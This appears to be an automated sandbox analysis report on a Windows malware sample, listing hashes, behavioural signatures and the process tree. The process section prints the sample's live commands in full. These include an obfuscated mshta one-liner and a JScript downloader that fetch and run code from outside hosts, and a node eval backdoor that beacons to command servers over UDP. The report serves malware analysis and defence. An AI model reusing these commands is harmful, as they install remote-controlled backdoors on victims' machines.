Analysis
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max time kernel
150s -
max time network
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platform
windows7_x64 -
resource
win7v20210410 -
submitted
20-07-2021 12:04
Static task
static1
Behavioral task
behavioral1
Sample
79fa77b796300ef5bafb6bcee46fc30f.exe
Resource
win7v20210410
General
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Target
79fa77b796300ef5bafb6bcee46fc30f.exe
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Size
3KB
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MD5
79fa77b796300ef5bafb6bcee46fc30f
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SHA1
e6ba2132d8058c0532492da00aaec117fff56df4
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SHA256
4c99457625e752a03693aab64e2b5129eff89872c649194e81bd87809ed1ae13
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SHA512
0ae044695cffc50eb1c112ee85e37d0e0c9779c4f6bbbbabb6cd85771ac408414dfd3f804f8175fb56a6d995b259f830cbd6f2380cecb08975955e63f0204faf
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 2 2012 mshta.exe 4 1712 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1764 node.exe -
Loads dropped DLL 1 IoCs
pid Process 556 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1584 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1904 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1788 ipconfig.exe 1072 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 472 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\da51c443af2b8ae6:ads node.exe File created C:\ProgramData\DNTException\node.exe:268be2b3465bb9563ae5b1f26fadcb4d node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1764 node.exe 1764 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1904 tasklist.exe Token: SeIncreaseQuotaPrivilege 1232 wmic.exe Token: SeSecurityPrivilege 1232 wmic.exe Token: SeTakeOwnershipPrivilege 1232 wmic.exe Token: SeLoadDriverPrivilege 1232 wmic.exe Token: SeSystemProfilePrivilege 1232 wmic.exe Token: SeSystemtimePrivilege 1232 wmic.exe Token: SeProfSingleProcessPrivilege 1232 wmic.exe Token: SeIncBasePriorityPrivilege 1232 wmic.exe Token: SeCreatePagefilePrivilege 1232 wmic.exe Token: SeBackupPrivilege 1232 wmic.exe Token: SeRestorePrivilege 1232 wmic.exe Token: SeShutdownPrivilege 1232 wmic.exe Token: SeDebugPrivilege 1232 wmic.exe Token: SeSystemEnvironmentPrivilege 1232 wmic.exe Token: SeRemoteShutdownPrivilege 1232 wmic.exe Token: SeUndockPrivilege 1232 wmic.exe Token: SeManageVolumePrivilege 1232 wmic.exe Token: 33 1232 wmic.exe Token: 34 1232 wmic.exe Token: 35 1232 wmic.exe Token: SeIncreaseQuotaPrivilege 1232 wmic.exe Token: SeSecurityPrivilege 1232 wmic.exe Token: SeTakeOwnershipPrivilege 1232 wmic.exe Token: SeLoadDriverPrivilege 1232 wmic.exe Token: SeSystemProfilePrivilege 1232 wmic.exe Token: SeSystemtimePrivilege 1232 wmic.exe Token: SeProfSingleProcessPrivilege 1232 wmic.exe Token: SeIncBasePriorityPrivilege 1232 wmic.exe Token: SeCreatePagefilePrivilege 1232 wmic.exe Token: SeBackupPrivilege 1232 wmic.exe Token: SeRestorePrivilege 1232 wmic.exe Token: SeShutdownPrivilege 1232 wmic.exe Token: SeDebugPrivilege 1232 wmic.exe Token: SeSystemEnvironmentPrivilege 1232 wmic.exe Token: SeRemoteShutdownPrivilege 1232 wmic.exe Token: SeUndockPrivilege 1232 wmic.exe Token: SeManageVolumePrivilege 1232 wmic.exe Token: 33 1232 wmic.exe Token: 34 1232 wmic.exe Token: 35 1232 wmic.exe Token: SeDebugPrivilege 1072 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 788 wrote to memory of 2012 788 79fa77b796300ef5bafb6bcee46fc30f.exe 26 PID 788 wrote to memory of 2012 788 79fa77b796300ef5bafb6bcee46fc30f.exe 26 PID 788 wrote to memory of 2012 788 79fa77b796300ef5bafb6bcee46fc30f.exe 26 PID 788 wrote to memory of 2012 788 79fa77b796300ef5bafb6bcee46fc30f.exe 26 PID 2012 wrote to memory of 1792 2012 mshta.exe 27 PID 2012 wrote to memory of 1792 2012 mshta.exe 27 PID 2012 wrote to memory of 1792 2012 mshta.exe 27 PID 2012 wrote to memory of 1792 2012 mshta.exe 27 PID 1792 wrote to memory of 1712 1792 cmd.exe 29 PID 1792 wrote to memory of 1712 1792 cmd.exe 29 PID 1792 wrote to memory of 1712 1792 cmd.exe 29 PID 1792 wrote to memory of 1712 1792 cmd.exe 29 PID 1792 wrote to memory of 432 1792 cmd.exe 33 PID 1792 wrote to memory of 432 1792 cmd.exe 33 PID 1792 wrote to memory of 432 1792 cmd.exe 33 PID 1792 wrote to memory of 432 1792 cmd.exe 33 PID 1792 wrote to memory of 556 1792 cmd.exe 34 PID 1792 wrote to memory of 556 1792 cmd.exe 34 PID 1792 wrote to memory of 556 1792 cmd.exe 34 PID 1792 wrote to memory of 556 1792 cmd.exe 34 PID 556 wrote to memory of 1764 556 cscript.exe 35 PID 556 wrote to memory of 1764 556 cscript.exe 35 PID 556 wrote to memory of 1764 556 cscript.exe 35 PID 556 wrote to memory of 1764 556 cscript.exe 35 PID 1764 wrote to memory of 1544 1764 node.exe 37 PID 1764 wrote to memory of 1544 1764 node.exe 37 PID 1764 wrote to memory of 1544 1764 node.exe 37 PID 1764 wrote to memory of 1544 1764 node.exe 37 PID 1764 wrote to memory of 1716 1764 node.exe 38 PID 1764 wrote to memory of 1716 1764 node.exe 38 PID 1764 wrote to memory of 1716 1764 node.exe 38 PID 1764 wrote to memory of 1716 1764 node.exe 38 PID 1764 wrote to memory of 1584 1764 node.exe 39 PID 1764 wrote to memory of 1584 1764 node.exe 39 PID 1764 wrote to memory of 1584 1764 node.exe 39 PID 1764 wrote to memory of 1584 1764 node.exe 39 PID 1764 wrote to memory of 1604 1764 node.exe 40 PID 1764 wrote to memory of 1604 1764 node.exe 40 PID 1764 wrote to memory of 1604 1764 node.exe 40 PID 1764 wrote to memory of 1604 1764 node.exe 40 PID 1764 wrote to memory of 1600 1764 node.exe 41 PID 1764 wrote to memory of 1600 1764 node.exe 41 PID 1764 wrote to memory of 1600 1764 node.exe 41 PID 1764 wrote to memory of 1600 1764 node.exe 41 PID 1764 wrote to memory of 1904 1764 node.exe 42 PID 1764 wrote to memory of 1904 1764 node.exe 42 PID 1764 wrote to memory of 1904 1764 node.exe 42 PID 1764 wrote to memory of 1904 1764 node.exe 42 PID 1764 wrote to memory of 1232 1764 node.exe 44 PID 1764 wrote to memory of 1232 1764 node.exe 44 PID 1764 wrote to memory of 1232 1764 node.exe 44 PID 1764 wrote to memory of 1232 1764 node.exe 44 PID 1764 wrote to memory of 1788 1764 node.exe 45 PID 1764 wrote to memory of 1788 1764 node.exe 45 PID 1764 wrote to memory of 1788 1764 node.exe 45 PID 1764 wrote to memory of 1788 1764 node.exe 45 PID 1764 wrote to memory of 964 1764 node.exe 46 PID 1764 wrote to memory of 964 1764 node.exe 46 PID 1764 wrote to memory of 964 1764 node.exe 46 PID 1764 wrote to memory of 964 1764 node.exe 46 PID 1764 wrote to memory of 1072 1764 node.exe 47 PID 1764 wrote to memory of 1072 1764 node.exe 47 PID 1764 wrote to memory of 1072 1764 node.exe 47 PID 1764 wrote to memory of 1072 1764 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1604 attrib.exe 1600 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\79fa77b796300ef5bafb6bcee46fc30f.exe"C:\Users\Admin\AppData\Local\Temp\79fa77b796300ef5bafb6bcee46fc30f.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();35;y=unescape('%321%32%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E2%322').split('~');73;try{x='WinHttp';187;x=new ActiveXObject(x+'.'+x+'Request.5.1');250;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);84;x.send();170;y='ipt.S';202;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);34;}catch(e){};67;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782662284.txt & cscript /nologo /e:jscript get1626782662284.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2ec4146e7%26b%3Dd98a910e" node.cab & expand node.cab node.exe & del get1626782662284.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782662284.txt & cscript /nologo /e:jscript get1626782662284.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ec4146e7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782662284.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1792 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626782662284.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2ec4146e7%26b%3Dd98a910e" node.cab4⤵
- Blocklisted process makes network request
PID:1712
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:432
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626782662284.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ec4146e7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:556 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27ec4146e7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1544
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1716
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1584
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1604
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1600
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1904
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1232
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1788
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:964
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1072
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:472
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